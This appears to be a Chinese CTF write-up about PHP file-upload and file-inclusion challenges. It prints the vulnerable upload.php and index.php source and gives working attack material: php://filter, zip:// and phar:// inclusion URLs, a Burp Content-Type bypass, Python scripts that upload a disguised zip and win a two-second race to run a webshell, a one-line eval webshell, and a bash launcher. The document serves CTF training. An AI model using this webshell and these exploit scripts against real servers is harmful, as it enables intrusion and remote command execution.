文件上傳的ctf_web題目【偽協(xié)議】

1.第一題

Qiyu_20170807_210121.png

文件包含

題目:http://58.154.33.13:8004/index.php

可以讀到php源代碼

偽協(xié)議
zip://archive.zip#1.php
php://filter/read=convert.base64-encode//resource=index
index.php后面是否需要添加后綴,要注意看瀏覽器地址欄的情況,本題用偽協(xié)議查看index.php的源代碼的base64編碼串

查看源代碼
http://58.154.33.13:8004/index.php?page=php://filter/read=convert.base64-encode//resource=index #index為index.php的文件名

源代碼:

<?php
                require("header.php");
                $page="";
                if (isset($_GET['page']))
                    $page=$_GET['page'].".php";    #page參數(shù)自動添加了.php后綴,因此文件包含的index不需要加后綴
                else
                    $page="main.php";
                include($page);
?>

本題還可以通過文件包含,查看upload.php的源代碼

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg") and ($name1!==".zip"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允許的文件類型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允許的文件類型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
            echo "<script language='JavaScript'>alert('文件移動失敗!');window.location='index.php?page=submit'</script>";
            exit;
        }
    }
    echo "圖片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

最后,可以通過burp修改http包的Content-Type: image/gif,上傳一個包含1.php的a.zip的壓縮包

之后找到zip所在的路徑,用zip偽協(xié)議瀏覽里面的php
http://58.154.33.13:8004/index.php?page=zip://xxx/a.zip#1.php

然后執(zhí)行i.php的webshell,提交post參數(shù)調(diào)用系統(tǒng)命令,實現(xiàn)shell

2.第二題

跟上一題一樣,先用php://filter/read=convert.base64-encode//resource=upload查看源代碼

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允許的文件類型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            //echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允許的文件類型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移動失敗!');window.location='index.php?page=submit'</script>";
                exit;
            }
            else{
                sleep(2);               
                if ($type=='image/jpeg')
                {
                    $im = @imagecreatefromjpeg($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagejpeg($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                else if ($type=='image/gif')
                {
                    $im = @imagecreatefromgif($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagegif($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                unlink($rootpath);
            }
        }
        echo "圖片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

查看源碼后,發(fā)現(xiàn)php代碼里面在做一般的檢查之后,會先sleep(2),之后會對圖片進行轉(zhuǎn)換,如果不是正常的圖片就會被刪除;因此,我們需要在上傳完文件的這2秒內(nèi),用另外一個腳本去文件包含shell執(zhí)行
以下是兩個腳本的代碼:

upload.py用來上傳zip壓縮包

#!/usr/bin/env python
# encoding: utf-8

import requests

url = "http://202.112.51.217:8199/upload.php"

data = {
    'title': 'admin',
    'url': 'admin'
}
#此處**'pic'**是因為上面的upload.php里面判斷用的鍵名
files = {'pic': ('xman.jpg', open("sh.zip").read(), 'image/jpeg')}
# 這里使用 requests 庫來上傳文件有幾種方式
# 這種方式可以控制文件名以及文件類型
# 可以用來繞過基于客戶端的文件名和文件類型檢測

response = requests.post(url, data=data, files=files)
content = response.content
print content

shell.py用來進行文件包含執(zhí)行webshell

#!/usr/bin/env python
# encoding: utf-8

import requests
#由于此題apache2配置的問題導(dǎo)致可以直接讀uploads目錄
url = "http://202.112.51.217:8199/uploads/"

response = requests.get(url)

content = response.content

files = []
#這里用來尋找到最新的(你剛上傳的)webshell文件的名字
for line in content.split("\n"):
    if "href=" in line:
        files.append(line.split("href=\"")[1].split("\">")[0])
#一般是這些保存的文件的最后一個
filename = files[-1]
#此處zip://試過不行,似乎是因為php版本的原因,因此改用phar://偽協(xié)議去執(zhí)行解壓縮
url = "http://202.112.51.217:8199
/index.php?page=phar://uploads/"+filename+"/sh&w=system('head *');"  #此處‘head *’用來打印當(dāng)前目錄下所有文件的前十行
print requests.get(url).content

sh.php是一句話木馬

//這里因為上面的shell.py最后用的是GET請求,因此,寫REQUEST或者GET都可以,如果要用POST要更改shell.py腳本
<?php @eval($_REQUEST[w]);?>

這兩個腳本你可以接連在兩個終端上執(zhí)行,也可以寫一個shell腳本去執(zhí)行,下面是shell.sh的內(nèi)容

#!/bin/bash
python upload.py&    #后面加&就不會阻塞后面的命令執(zhí)行
sleep 0.5     #這里是為了給上傳文件留出一定的時間
python shell.py    #此處用于執(zhí)行webshell

執(zhí)行的結(jié)果圖:

Paste_Image.png

注:requests庫上傳文件的書寫格式,官方文檔傳送門

Paste_Image.png

3.第三題

X-NUCA 練習(xí):login

http://218.76.35.75:20115/login.php
writeup請點擊
注:通過log來寫入webshell,構(gòu)造zip壓縮包

4.第四題

NS 筆記管理系統(tǒng)WP

NS筆記管理系統(tǒng)題目地址:http://218.76.35.74:20128/index.php?action=front&mode=login

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容